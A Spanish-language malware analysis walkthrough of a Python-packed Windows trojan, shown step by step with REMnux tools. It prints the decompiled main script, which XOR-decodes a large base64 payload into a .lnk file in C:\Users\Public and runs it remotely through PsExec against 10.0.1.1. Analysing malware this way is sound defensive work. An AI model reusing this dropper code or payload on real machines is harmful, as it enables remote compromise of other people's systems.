Análisis básico
Relacionado: VirusTotal. shellcode. IDOR. HOME. Puntero.
Primero, extraemos el malware utilizando 7z e con la contraseña infected.
Y al utilizar file nos muestra lo siguiente:
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$ file 83f7625b243f0594484bc87b6ba4bf2b.malwareEs un PE para una arquitectura del 8086.
Ejecutamos un hexdump para ver los primeros 16 bits y así ver el ejecutable:
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$ hexdump -n 16 -C 83f7625b243f0594484bc87b6ba4bf2b.malware
00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|
00000010El 4d 5a corresponde al ejecutable de un binario.
Observamos su tamaño utilizando el comando ls -lh nombre_archivo.
Como se puede observar, tiene un tamaño de 8.2 megabytes y se modificó el nueve de abril a las 09:37.
Para ver otras fechas, como la fecha de creación, utilizamos el comando stat.

Podemos observar que no muestra fecha de creación, pero se accedió también el 9 de abril, es decir, se ejecutó ese día.
Utilizamos el antivirus clamscan para ver si lo tiene registrado:
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$ clamscan 83f7625b243f0594484bc87b6ba4bf2b.malware
LibClamAV Warning: **************************************************
LibClamAV Warning: *** The virus database is older than 7 days! ***
LibClamAV Warning: *** Please update it as soon as possible. ***
LibClamAV Warning: **************************************************
/home/remnux/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b/83f7625b243f0594484bc87b6ba4bf2b.malware: OK
----------- SCAN SUMMARY -----------
Known viruses: 8704004
Engine version: 0.103.12
Scanned directories: 0
Scanned files: 1
Infected files: 0
Data scanned: 30.93 MB
Data read: 8.14 MB (ratio 3.80:1)
Time: 27.716 sec (0 m 27 s)
Start Date: 2025:04:25 11:18:49
End Date: 2025:04:25 11:19:17El OK indica que no está infectado, pero tampoco podemos fiarnos mucho, porque esto puede significar que dicho malware no está catalogado.
Al buscar el hash en VirusTotal:
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$ sha256sum 83f7625b243f0594484bc87b6ba4bf2b.malware
fd92ba4c1d0390761a5afad41d2be3ac98463c1eb1d0d7b2e8dff54505341cbe 83f7625b243f0594484bc87b6ba4bf2b.malwarehttps://www.virustotal.com/gui/file/fd92ba4c1d0390761a5afad41d2be3ac98463c1eb1d0d7b2e8dff54505341cbe
Nos indica que es un troyano hecho en Python (más adelante intentaremos extraer el payload). Si lo ha no lo ha detectado clamscan, quizá tiene comportamientos evasivos para evitar dichos análisis.
Utilizamos rabin2 para obtener los strings de dicha muestra.
Con rabin2 podemos observar lo siguiente: tiene métodos evasivos para detectar si está siendo depurado, como IsDebuggerPresent.
Además, tiene handles, que son abstracciones de recursos abiertos; por lo tanto, realiza conexiones a red y a ficheros.

Miramos si encontramos alguna URL que pueda utilizarse como IOC.
Para ello utilizamos:
grep -aEo '[a-zA-Z]+\.(com|es|net)'
Utilizamos también el siguiente comando para encontrar alguna IP que esté utilizando como C&C:
grep -aEro '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
Nos salen los siguientes datos:
Con el grep hemos obtenido que utiliza certificados para poder comunicarse de forma cifrada con las IPs 6.0.0.0 y 10.0.1.1.
A continuación, utilizamos entroper para saber si el archivo está ofuscado.
Como se muestra en la siguiente captura, este tiene varias partes:
las dos primeras no están, o no parecen estar, empaquetadas, y una tercera parte que sí lo está, ya que tiene la entropía muy alta.

Utilizamos binwalk para ver como está dividido dicho binario y que partes corresponde.
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$ binwalk 83f7625b243f0594484bc87b6ba4bf2b.malware
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
36056 0x8CD8 Microsoft executable, portable (PE)
2382555 0x245ADB Ubiquiti firmware header, third party, ~CRC32: 0x49465900, version: "_LINK"
2427875 0x250BE3 Copyright string: "Copyright (c) 1997-2002 by Secret Labs AB "
2442584 0x254558 Copyright string: "Copyright (c) 2001-2023 Python Software Foundation."
2442658 0x2545A2 Copyright string: "Copyright (c) 2000 BeOpen.com."
2442711 0x2545D7 Copyright string: "Copyright (c) 1995-2001 Corporation for National Research Initiatives."
2442804 0x254634 Copyright string: "Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam."
2506248 0x263E08 CRC32 polynomial table, little endian
2509000 0x2648C8 Base64 standard index table
3561499 0x36581B End of Zip archive, footer length: 22
3590112 0x36C7E0 Copyright string: "copyright -- copyright notice pertaining to this interpreter"
3590125 0x36C7ED Copyright string: "copyright notice pertaining to this interpreter"
3638664 0x378588 Base64 standard index table
3687471 0x38442F Copyright string: "copyright messages on interactive startup"
3692024 0x3855F8 CRC32 polynomial table, little endian
3697144 0x3869F8 CRC32 polynomial table, big endian
3717606 0x38B9E6 Copyright string: "copyright", "credits" or "license" for more information.""
3767585 0x397D21 PARity archive data - file number 19781
3767593 0x397D29 PARity archive data - file number 21836
4450168 0x43E778 XML document, version: "1.0"
4482925 0x44676D Certificate in DER format (x509 v3), header length: 4, sequence length: 1424
4484353 0x446D01 Certificate in DER format (x509 v3), header length: 4, sequence length: 1712
4486069 0x4473B5 Certificate in DER format (x509 v3), header length: 4, sequence length: 1911
4489065 0x447F69 Certificate in DER format (x509 v3), header length: 4, sequence length: 1728
4490797 0x44862D Certificate in DER format (x509 v3), header length: 4, sequence length: 1710
4492511 0x448CDF Certificate in DER format (x509 v3), header length: 4, sequence length: 1421
4504576 0x44BC00 Zip archive data, at least v2.0 to extract, compressed size: 2572, uncompressed size: 5017, name: zipextimporter.pyc
4507196 0x44C63C Zip archive data, at least v2.0 to extract, compressed size: 14242, uncompressed size: 37032, name: statistics.pyc
4521482 0x44FE0A Zip archive data, at least v2.0 to extract, compressed size: 2045, uncompressed size: 3389, name: pyreadline3/keysyms/keysyms.pyc
4523588 0x450644 Zip archive data, at least v2.0 to extract, compressed size: 3144, uncompressed size: 6933, name: unittest/runner.pyc
4526781 0x4512BD Zip archive data, at least v2.0 to extract,
.......
Confirmamos que está empaquetado: la primera parte corresponde al PE, la segunda parte (donde la entropía varía bastante) corresponde a los certificados, y la última corresponde al ZIP, donde se encuentra el script de Python.
Por lo tanto, lo que tenemos es un PE que funciona como loader para ejecutar un script en Python.
Para obtener información sobre qué strings contiene, utilizamos el siguiente comando:


Para obtener más información, utilizamos peframe.
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$ peframe 83f7625b243f0594484bc87b6ba4bf2b.malware
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
--------------------------------------------------------------------------------
File Information (time: 0:00:12.849374)
--------------------------------------------------------------------------------
filename 83f7625b243f0594484bc87b6ba4bf2b.malware
filetype PE32+ executable (console) x86-64, for MS Windows
filesize 8543952
hash sha256 fd92ba4c1d0390761a5afad41d2be3ac98463c1eb1d0d7b2e8dff54505341cbe
virustotal /
imagebase 0x140000000 *
entrypoint 0x54b0
imphash b588036b5202b7426cd84298c3decc62
datetime 2024-07-22 19:42:30
dll False
directories import, export, tls, relocations, resources *
sections .text, .rdata, .data, .pdata, .reloc, .rsrc *
features antidbg, antivm, packer, crypto
--------------------------------------------------------------------------------
Yara Plugins
--------------------------------------------------------------------------------
IsPE64
IsConsole
IsPacked
HasOverlay
HasDebugData
HasRichSignature
Big Numbers1
Big Numbers2
Big Numbers3
Big Numbers4
CRC32 poly Constant
CRC32 table
CRC16 table
MD5 Constants
RIPEMD160 Constants
SHA1 Constants
SHA512 Constants
BASE64 table
--------------------------------------------------------------------------------
Behavior
--------------------------------------------------------------------------------
DebuggerException ConsoleCtrl
SEH vectored
vmdetect
Check OutputDebugStringA iat
anti dbg
Xor
network tcp listen
network tcp socket
escalate priv
win registry
win token
win files operation
--------------------------------------------------------------------------------
Crypto
--------------------------------------------------------------------------------
Big Numbers1
Big Numbers2
Big Numbers3
Big Numbers4
CRC32 poly Constant
CRC32 table
CRC16 table
MD5 Constants
RIPEMD160 Constants
SHA1 Constants
SHA512 Constants
BASE64 table
--------------------------------------------------------------------------------
Packer
--------------------------------------------------------------------------------
Microsoft Visual Cpp 80 DLL
--------------------------------------------------------------------------------
Anti Debug
--------------------------------------------------------------------------------
GetLastError
IsDebuggerPresent
IsProcessorFeaturePresent
OutputDebugStringA
TerminateProcess
UnhandledExceptionFilter
--------------------------------------------------------------------------------
Anti VM
--------------------------------------------------------------------------------
trick
offset
--------------------------------------------------------------------------------
Sections Suspicious
--------------------------------------------------------------------------------
.rsrc 6.46
--------------------------------------------------------------------------------
Import function
--------------------------------------------------------------------------------
USER32.dll 1
SHELL32.dll 1
KERNEL32.dll 41
VCRUNTIME140.dll 6
api-ms-win-crt-stdio-l1-1-0.dll 8
api-ms-win-crt-string-l1-1-0.dll 4
api-ms-win-crt-convert-l1-1-0.dll 1
api-ms-win-crt-environment-l1-1-0.dll 1
api-ms-win-crt-heap-l1-1-0.dll 4
api-ms-win-crt-utility-l1-1-0.dll 2
api-ms-win-crt-runtime-l1-1-0.dll 18
api-ms-win-crt-math-l1-1-0.dll 1
api-ms-win-crt-locale-l1-1-0.dll 1
--------------------------------------------------------------------------------
Export function
--------------------------------------------------------------------------------
export [{'offset': 5368727568, 'function': 'PyArg_ParseTuple'}, {'offset': 5368729872, 'function': 'PyBool_FromLong'}, {'offset': 5368728144, 'function': 'PyBytes_AsString'}, {'offset': 5368730032, 'function': 'PyCMethod_New'}, {'offset': 5368729440, 'function': 'PyConfig_Clear'}, {'offset': 5368728880, 'function': 'PyConfig_InitIsolatedConfig'}, {'offset': 5368728944, 'function': 'PyConfig_SetArgv'}, {'offset': 5368729072, 'function': 'PyConfig_SetString'}, {'offset': 5368726320, 'function': 'PyErr_Clear'}, {'offset': 5368726384, 'function': 'PyErr_Occurred'}, {'offset': 5368726448, 'function': 'PyErr_Print'}, {'offset': 5368725504, 'function': 'PyErr_SetImportError'}, {'offset': 5368729792, 'function': 'PyErr_SetObject'}, {'offset': 5368725600, 'function': 'PyErr_SetString'}, {'offset': 5368726944, 'function': 'PyEval_EvalCode'}, {'offset': 5368748504, 'function': 'PyExc_ImportError'}, {'offset': 5368748496, 'function': 'PyExc_RuntimeError'}, {'offset': 5368748512, 'function': 'PyExc_SystemError'}, {'offset': 5368726000, 'function': 'PyGILState_Ensure'}, {'offset': 5368725936, 'function': 'PyGILState_Release'}, {'offset': 5368726672, 'function': 'PyImport_AddModule'}, {'offset': 5368727040, 'function': 'PyImport_AppendInittab'}, {'offset': 5368728416, 'function': 'PyImport_GetModuleDict'}, {'offset': 5368728544, 'function': 'PyImport_ImportModule'}, {'offset': 5368727440, 'function': 'PyImport_ReloadModule'}, {'offset': 5368727504, 'function': 'PyLong_FromLong'}, {'offset': 5368725440, 'function': 'PyLong_FromVoidPtr'}, {'offset': 5368728800, 'function': 'PyMapping_HasKeyString'}, {'offset': 5368727200, 'function': 'PyModuleDef_Init'}, {'offset': 5368727120, 'function': 'PyModule_Create2'}, {'offset': 5368728336, 'function': 'PyModule_ExecDef'}, {'offset': 5368727344, 'function': 'PyModule_FromDefAndSpec2'}, {'offset': 5368728208, 'function': 'PyModule_GetDef'}, {'offset': 5368726736, 'function': 'PyModule_GetDict'}, {'offset': 5368728272, 'function': 'PyModule_GetState'}, {'offset': 5368728480, 'function': 'PyModule_New'}, {'offset': 5368727824, 'function': 'PyObject_CallObject'}, {'offset': 5368729936, 'function': 'PyObject_SetAttrString'}, {'offset': 5368725760, 'function': 'PyRun_InteractiveLoopFlags'}, {'offset': 5368725856, 'function': 'PyRun_SimpleStringFlags'}, {'offset': 5368726800, 'function': 'PySequence_GetItem'}, {'offset': 5368726880, 'function': 'PySequence_Size'}, {'offset': 5368729280, 'function': 'PyStatus_Exception'}, {'offset': 5368729360, 'function': 'PyStatus_IsExit'}, {'offset': 5368726576, 'function': 'PySys_SetArgvEx'}, {'offset': 5368729712, 'function': 'PySys_SetObject'}, {'offset': 5368727904, 'function': 'PyTuple_New'}, {'offset': 5368727968, 'function': 'PyTuple_SetItem'}, {'offset': 5368727264, 'function': 'PyType_IsSubtype'}, {'offset': 5368727664, 'function': 'PyUnicode_FromFormat'}, {'offset': 5368728064, 'function': 'PyUnicode_FromString'}, {'offset': 5368727744, 'function': 'PyUnicode_FromWideChar'}, {'offset': 5368729600, 'function': 'PyWideStringList_Append'}, {'offset': 5368729200, 'function': 'Py_ExitStatusException'}, {'offset': 5368725680, 'function': 'Py_FdIsInteractive'}, {'offset': 5368726192, 'function': 'Py_Finalize'}, {'offset': 5368726064, 'function': 'Py_GetPath'}, {'offset': 5368726256, 'function': 'Py_Initialize'}, {'offset': 5368729504, 'function': 'Py_InitializeFromConfig'}, {'offset': 5368725376, 'function': 'Py_IsInitialized'}, {'offset': 5368726128, 'function': 'Py_SetPath'}, {'offset': 5368726512, 'function': 'Py_SetProgramName'}, {'offset': 5368728608, 'function': '_PyImport_FindExtensionObject'}, {'offset': 5368728688, 'function': '_PyImport_FixupExtensionObject'}, {'offset': 5368728128, 'function': '_Py_Dealloc'}]
--------------------------------------------------------------------------------
Possibile Breakpoint
--------------------------------------------------------------------------------
FindResourceA
GetCurrentProcess
GetCurrentProcessId
GetModuleFileNameW
GetModuleHandleA
GetModuleHandleExW
GetModuleHandleW
GetProcAddress
HeapAlloc
IsBadReadPtr
IsDebuggerPresent
LoadLibraryA
LoadLibraryExW
LockResource
MessageBoxA
OutputDebugStringA
TerminateProcess
UnhandledExceptionFilter
VirtualAlloc
VirtualFree
VirtualProtect
--------------------------------------------------------------------------------
Ip Address
--------------------------------------------------------------------------------
10.0.1.1
--------------------------------------------------------------------------------
Url
--------------------------------------------------------------------------------
http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
http://ocsp.digicert.com0A
https://python.org/dev/peps/pep-0263/
http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
http://ocsp.digicert.com0C
http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0SQOMhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
http://www.digicert.com/CPS0
http://ocsp.digicert.com0X
http://schemas.microsoft.com/SMI/2016/WindowsSettings
http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
http://ocsp.digicert.com0\
--------------------------------------------------------------------------------
File
--------------------------------------------------------------------------------
python310.dll Library
run-py3.10-win-amd64.exe Executable
USER32.dll Library
SHELL32.dll Library
KERNEL32.dll Library
VCRUNTIME140.dll Library
api-ms-win-crt-stdio-l1-1-0.dll Library
api-ms-win-crt-string-l1-1-0.dll Library
api-ms-win-crt-convert-l1-1-0.dll Library
api-ms-win-crt-environment-l1-1-0.dll Library
api-ms-win-crt-heap-l1-1-0.dll Library
api-ms-win-crt-utility-l1-1-0.dll Library
api-ms-win-crt-runtime-l1-1-0.dll Library
api-ms-win-crt-math-l1-1-0.dll Library
api-ms-win-crt-locale-l1-1-0.dll Library
python%d%d.dll Library
python3.dll Library
VERSION.dll Library
WS2_32.dll Library
api-ms-win-core-path-l1-1-0.dll Library
ADVAPI32.dll Library
api-ms-win-crt-time-l1-1-0.dll Library
api-ms-win-crt-process-l1-1-0.dll Library
api-ms-win-crt-conio-l1-1-0.dll Library
api-ms-win-crt-filesystem-l1-1-0.dll Library
sQkI.gz Compressed
UI"ƫ.Db Database
1;ĵ: .Bin Binary
--------------------------------------------------------------------------------
Fuzzing
--------------------------------------------------------------------------------
String too long
Possible connections
remnux@remnux:~/Downloads/theJungle/samples/PEF2025/83f7625b243f0594484bc87b6ba4bf2b$
Como podemos ver, utiliza métodos para ofuscar la información con XOR.
Para extraer el payload en Python, utilizamos binwalk con el parámetro -e, y obtenemos los ficheros Python que conforman el binario, como se puede ver en la siguiente imagen:

Ahora descompilamos el binario utilizando el siguiente comando:
uncompyle6 -o . __main__.pycEsto nos ha generado un archivo vacío, y si intentamos extraer el ZIP con rabin2 -e y descomprimirlo, nos da el error de que es una posible bomba ZIP:

La bomba ZIP, también conocida como ZIP de la muerte, es un archivo malicioso diseñado para bloquear o inutilizar un programa o sistema que intenta leerlo.
Para ello, explota el algoritmo de compresión del formato ZIP para guardar una gran cantidad de datos de forma extremadamente comprimida.
Con el CFF Explorer podemos observar información previamente vista, como la fecha de creación, la fecha de modificación, así como los valores MD5 y SHA1 del archivo.
En la siguiente sección, en el CFF Explorer, podemos ver el Section Header.
Observamos que la memoria virtual y la raw memory no difieren mucho, por lo tanto, el PE no utiliza un compresor como UPX.
Podemos ver la versión en la que se ha compilado el script de Python en FLARE con el CFF Explorer, examinando también el contenido hexadecimal del recurso PYTHONSCRIPT, buscando el número mágico, como se muestra en la siguiente imagen:

Para extraer los .pyc del .exe, hemos probado primero con dd y con rabin2 -e, como se puede observar en las siguientes imágenes:
Con dd:

Con rabin2 -e:


Sin embargo, da error al intentar descompilarlo.
La mejor forma de obtener los .pyc —y la más sencilla— es la siguiente:
Se puede ver qué .pyc contiene el .exe, ya que un .exe, al igual que un .jar, es básicamente un archivo ZIP.
Cambiando la extensión a .zip, se pueden extraer directamente estos archivos.

Para descompilarlo utilizamos la pagina: https://pylingual.io
Con esto pordemos obervar que el código del main es el siguiente:
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: __main__.pyc
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import os
import base64
flare = True
payload = 'kq3erd+53K3erd6tHq3erd6t3uu7rN6t3q3erd6QbPK/BAWs3pBs8r8EBazekGzyvwQFrN6t3q3erd6t363erd6t3q3erd6t3q3erSetyq3B/R0NkW5OjR0H5MTOb3xuRqXehu6dHDDHrfHu5PHerd6t3q3erd6t3q3erd6t3q3eblSt7K3el9mtluocH5O93tq3w7rCqd6C3qfeqsiznuzxicSwybHarf2x2rvfrcW7wbLxqJzwnYLdsdq7363Fu8Gyg7vVu63eb1qt3a3arR0CHBOW6hwfk7qV4Le53q3e2t7E3sPeyd7C3tre3t7x3t7e1N7e3tneyN7A3p7en97x3vrexN7D3snewt7a3t7e/d7C3treyN7f3t7exd7I3sHewd7x3tvenN6D3p3e8d7d3sLe2t7I3t/e3t7F3sjewd7B3oPeyN7V3sjerd7r3q3erd4V0N2x2rvfrcW7wbKN88Ox/f6Ardm/jfPa/pz+gLvDvY3+/o/vs+ydyp/nn++P7Jjgn/u577LsluSfzqnvruyZlZ/Pue+L7Jnon/S5763smfif4bnvj+yY4J/7ue+y7Jbkn86p767smZWfz7nsq+ybnZ/0j++v7JmVn8657LnsnZ2f96nvsuyd7J/gqeyu7Jben+ef743smfif97ns5+yY3p/4ue+y7Jn0n/WP7Kvsm+ifzqnvpOyZ+J/Pj++37Jnan8iP7Kvsm86f94/v7uyY/J/Ij++p7Jn4n+af7LDsmOCfyI/vpOyW/J/3j++q7J2Zn/mP77bsmZmf9I/vsOyZ+J/Pj++y7JmZn8mf7Kvsm+ifyY/v7uyZlZ/Pj++27Jb8n8yP76jsmZmf4bnvnOyZnZ/Oqe+u7Jj4n8mf767smdqfzqnssOydxp/iqey17Jjkn/eP77PsnZmf/6nvsuyW/J//ue+u7Jn4n8+f77Xsncqf56nvtuyZnZ/Oqe+u7JvGn8+5767slvyf/7nvtuyZxp/Pn++y7Jn8n+ep7K3snc6f+bnvqOyZmZ/4n+/v7Jnkn8+f767smeCf4Z/viuyW/J/0j+/u7JnGn/Sp7LDsncaf4bnviuyZ+J/Jn+/s7Jnon8+f7+/smfif5p/steybmZ/Jj++t7Jnan+Gf7LXslvyfzrnv7+yZ+J/mj+zp7Jjen/ip7+vsluCfyZ/vsuyZnZ/hue+b7JnGn/SP77DsmZmfz6nvpOyW/J/Mj++07Jbgn+G575jslvSf94/vq+yW/J/Mj++r7JnOn+G575jslvSf94/vq+yW/J/4n++n7JmVn8m5767smfyf94/vp+yYnZ/hue+W7Jn4n8mf75nsmcaf94/vreyZ/J/mn+yw7Jmdn/Wp77LsmZmf9I/vt+yZ2p/3j++17J3On+Gf7LDsm5mfz6nvq+yY7J/Jj++37Jnan8yP77Tsndqf/o/vq+yW4J/Jn++27JmZn/Sp77Lsnc6f5o/sq+yY4J/3j+/u7Jj0n/SP763slvif94/sseyY3p/4ue+y7Jn0n/WP7Kvsm+ifzqnvpOyZ+J/Pj++37Jnan8iP7Kvsm86f94/v7uyY/J/Ij++p7Jn4n+af7LDsmOCfyI/vpOyW/J/3j++q7J2Zn/mP77bsmZmf9I/vsOyZ+J/Pj++y7JmZn8mf7Kvsm+ifyY/v7uyZlZ/Pj++27Jb8n8yP76jsmZmf4bnvi+yW5J/0j++07JnGn8+577DsnZmf+J/viuyb+J/Jn+/t7Jvan8+p77DsmOyfzrnvqOyW9J/Mj++17Jn4n8657LDsncaf4bnvluyZ+J/Jn++Z7JnGn/eP763smfyf5p/ssOyZ+J/Jn+/t7Jjsn86576jslvSfzI/vteyZ+J/Oueyw7J3an+ep75HsmZWfz7nvj+yW+J/0ue+t7JnGn/Sp7K3smOCfyZ/vtuyW/J/Mj++07J3On+aP7Kvsm86f94/v7uyY9J/0j++t7Jb4n/eP7LHsnfyfz7nv7+yZ2p/Pn+yu7J3an+Cf7K7smt6fy4/s6eyY3p/4qe/r7Jbgn8mf77LsmZ2f4bnvkeyZ+J/Jn+yr7Jjgn/eP76fslvSfzI/vtOyZ+J/4n++o7JnGn8+57+7sm52f9I/vq+yZ6J/3qe+y7Jbkn/WP7OjsmsKf/4/v6uyW7J/3j++07Jb8n+CP7Knsmuyf/KnvqOyZmZ/Jn++u7JmZn8mP77Lsmp2f4J/s6eyd/J/Jqe+07Jqdn/m577Lsls6f4Y/vjuyZ5J/Mue+y7Jngn8mf7LnsmOCfyI/vpOyW/J/3j++q7J2Zn/m577Lslvyf4bnvhuyZ+J/0ue+a7Jnan8yP77LsmZmfyZ/s6eyd/J/Jj+zn7J3On/mP76jslsKfzI/vreyZ2p/0j+yo7Jr4n+G57Knsneyf5p/vhuyZxp/Pue+17JmVn8mp76Tsneyf+bnvi+yd7J/jueyr7Jron+Kp7LnsmM6f+anvhuya9J/jn+zp7J3sn/uf76fsmcaf95/vsuyZmZ/Jn+yo7JrOn+G57Knsmt6f5J/vp+yW9J/iueym7Jron+G57Knsncaf5J/vreyZxp/Mqe+y7J3sn/+p77LsmeCfzKnvqOydzp/iqey17Jbgn/eP76fsmp2f55/sseyY3p/7n++y7JbKn8mf7Kvsm/ifz7nvtOyZlZ/3n++u7JmZn/ep77rsmsKf4rnviOyZmZ/Mj++07JmVn/ef77LsnZmf/6nvsuyW/J/4qe/u7Jbkn8yP76vsmc6f5p/vvOyb4J/Pqe+r7Jb0n/eP76fslvyf9Y/s6Oyawp//ue+n7JmVn8+P753smeifzqnvsuya9J/jn++K7Jb8n865767smZmf96nsseydzp/0j++c7Jvkn+Cf75zsm8qf+I/vnOyZ4J/8j++c7Jr0n/yP75rsmsqf/I/vk+yWzp/8ue+m7Jvon/6f74jsm+if9LnvsOyb5J/In++c7JvKn/uP75zsmMKf+I/vneyWxp/8j++W7Jv4n/yP75Psmc6f/Lns7uyb6J/+n++s7Jvon/eP77Dsm+if47nvnOyb/J//j++c7Judn/yP75zsmuyf/I/vm+yY6J/8j++Q7JbOn/yP7Ofsnc6f5o/sruydxp/iqey17Jb8n/2P7LDsnZWf9I/vteyZnZ/Mj++r7J2Vn/ep77Lslvyf4bnvqeyZyp/On+yw7Jren+ef7+3smeCf4bnvl+yZ+J/0j++17Jn4n86576TsnZmf/I/vteyZ/J/mn+yw7Jj4n86p77LsluSf4Y/vnOyZzp/3j++r7Jb8n+ep7K3snfyfyY/sruya3p/nn+/t7Jngn+G574/sluSfz6nv6uyWxp/9j++87Jjgn8iP76Tslvyf94/vquydmZ/5ue+y7Jb8n+G574bsmfif9LnvjeyZ+J/Oj+/v7Jn4n86p7+7smJ2f4rns6Oyb/J/3j++z7Jnon8mP763slvyf+6nvsuyZ5J/4n++n7JmVn8if7+vsmt6f55/v7eyZ4J/hue+P7Jbkn8+p7+rslsaf4bnvmuyW5J/3j++17Jn4n8+57+7smcaf9I/vreyW4J/kn+zn7J3sn/qp74rslsafzqnv7uyZ+J/Pj+yr7JuZn/eP7+7snZmf/Knvp+yZ+J/3n++y7JmZn8mf767smeifz5/vmuyZ6J/0qe+x7Jn4n/WP7OjsmsKf/5/vsuyZ9J/0j+/v7Jnan8mf75HsmfifyZ/v7eyZlZ/Oue+s7Jvgn86577Lsmfyf94/vq+yW/J/Mj++27Jnan86p7Onsnfyf+KnvtOyW5J/Mj++p7Jb8n+K574/sluSfz6nv6uyWxp/kn+zn7J3sn+ef7+3smeCf4bnvj+yW5J/Pqe/q7JbGn+Kp7LXsm96f/Y/vvOyY4J/Ij++k7Jb8n/eP76rsnZmf+5/vsuyWyp/Jn+yr7Jv4n8+577TsmZWf95/vruyZmZ/3qe+67JrCn+K575zsmOCf/KnvlOybxp/hue+W7Jn4n8mf753slsafyZ/vsuyW4J/mn+yw7J3Cn8i57+bsm8af45/s7eyY4J/7ue+17JmZn8mf7+zsmMKfzqnvkuyblZ/7j++d7Judn+Cf74fsnfif96nvk+yamZ/jj++67Jb4n+aP74vsmt6fyI/ssOydxp/iqey17Jjkn/2P7+nsnfyf/5/sreyd/J/+qezn7J38n/yP76fsmc6fzqns6eyd/J/4qezn7Jrsn+G57KvsmuSf44/s7+ya3p/gn+yr7J2Zn+C57O/smvify5/ssuyW3p/nn++V7Jqdn+af7LXsm8Kf5qnsteyY4J/6qey17JiVn/WP7Kzsnfyf/qnvvOyd/J/1qeyy7J38n/6p7Kvsm+Cfz6nv7+yZmZ/Jn++67J3Gn+eP7Kfsmvif47ns6eyd/J/4qe+87J38n/Wp77rsndqf55/viuyY3p/nn++V7Jidn/2P7LXsmOCf+qnsteybwp/1j+yt7J38n/ip77zsnfyf9anvuuyWnZ/iqey17Jv8n8uf7LLslt6f55/vlOyanZ/mn+y17JvGn+ap7Kbsncaf54/sp+ya+J/juezp7J38n/6f7Ofsncqf55/vl+yd3p/nn++K7Jjen+ef75TsmJ2f5o/ssuya5J/jj+zs7Jren+ef74rsmN6f55/vlOyYnZ/hn+y17Jjgn/qp7LXsm8qf9Y/s5+yd/J/4qe+87J38n/6f77rsndqf55/viuyY3p/nn++U7Jidn+Kp7LXsmJWf4Y/vt+yWyp/Pqe+n7J38n/ip77zsncqf55/viuyY3p/nn++U7Jidn+ap7LXsmOCf+qnsteybyp/1j+yu7J34n+C57O/smvSf9Y/v5+yWnZ/iqey17JbOn/Sp7Kvsm8qf94/vtuyZ/J/3j++n7Jbgn+G575zsmfyf95/sseyd5J/8qe+o7JmVn8yp767smfif5Lnsreyd5J/Jn+/u7Jj4n8+57+3sls6fzp/v7OyW4J/9j++27Jven86f76zsm/if45/vteyb/J/4n++S7JnCn/qf76/smuCf44/vr+yb+J/3j++J7Jbon+ap75zsmcKf4I/vleyZ3p/0qezn7J3kn+aP7Onsnfyf95/vtuyW/J/0j+zn7J38n8mp77TsnZmf/5/vqOyWzp/Pue+t7JmVn/SP77Xsm/yf9I/v7uyZ6J/mn+y17Jbgn/eP76fsnd6f55/v7uydxp/iqey17JnGn8m57Ofsnfyf95/vtuyW/J/0j++87Jrsn+G57KvsmuCf9Y/s6eyd/J/3n++27Jb8n/SP7Ofsnfyf95/vtuyW/J/0j++87Jr8n+G57Kvsnfyf95/vtuyW/J/0j+yr7Jnan/eP76vsmc6fyZ/vseyYnZ/iqeyq7JnCn8+p767smZmf+qnvmuyZyp/0j++n7Jjen/WP77rsncqf57nsueyd/J/4uey57J38n/ef77bslvyf9I/sueydyp/nn++U7Jj0n+ap7LXsm96f5o/sruyW2p/+j++Y7JjKn57e7uTxrt+xyqzMs424xLLIrfGpxLDJsdqtjbDZgsy9zrvercKsxLvegtqx37rdv8nwyKbI3q3erQ=='
psexec_path = 'C:\\Tools\\sysinternals\\PsExec.exe'
try:
open(psexec_path)
except FileNotFoundError as _:
flare = False
except Exception as e:
pass
dst_path = 'C:\\Users\\Public\\'
dst = dst_path + 'launcher.lnk'
with open(dst, 'wb+') as f:
buff = base64.b64decode(payload)
for i in range(len(buff)):
if i % 2 == 0:
f.write(b'%c' % (buff[i] ^ 222))
else:
f.write(b'%c' % (buff[i] ^ 173))
explorer = 'C:\\Windows\\explorer.exe'
print(explorer, dst_path)
os.execl(explorer, explorer, dst_path)
if flare:
os.execv(psexec_path, ['\\10.0.1.1', 'cmd /c "' + dst + ' ' + dst + '"'])
Ejecuta PsExec, que es una consola que se utiliza para gestionar los equipos de forma remota y también tiene un payload en base64, con lo cual suponemos que es un shellcode para poder tomar acceso remotamente, por lo tanto es un RAT.
Analizando más profundamente el código, utiliza una flag para saber si se encuentra en el Flare:
Flare = true
Para saber si se encuentra en el Flare, intenta ejecutar el siguiente comando:
psexec_path = 'C:\\Tools\\sysinternals\\PsExec.exe'
Si no lo consigue, establece el Flare a false.
Luego descifra utilizando xor el payload.
dst_path = 'C:\\Users\\Public\\'
dst = dst_path + 'launcher.lnk'
with open(dst, 'wb+') as f:
buff = base64.b64decode(payload)
for i in range(len(buff)):
if i % 2 == 0:
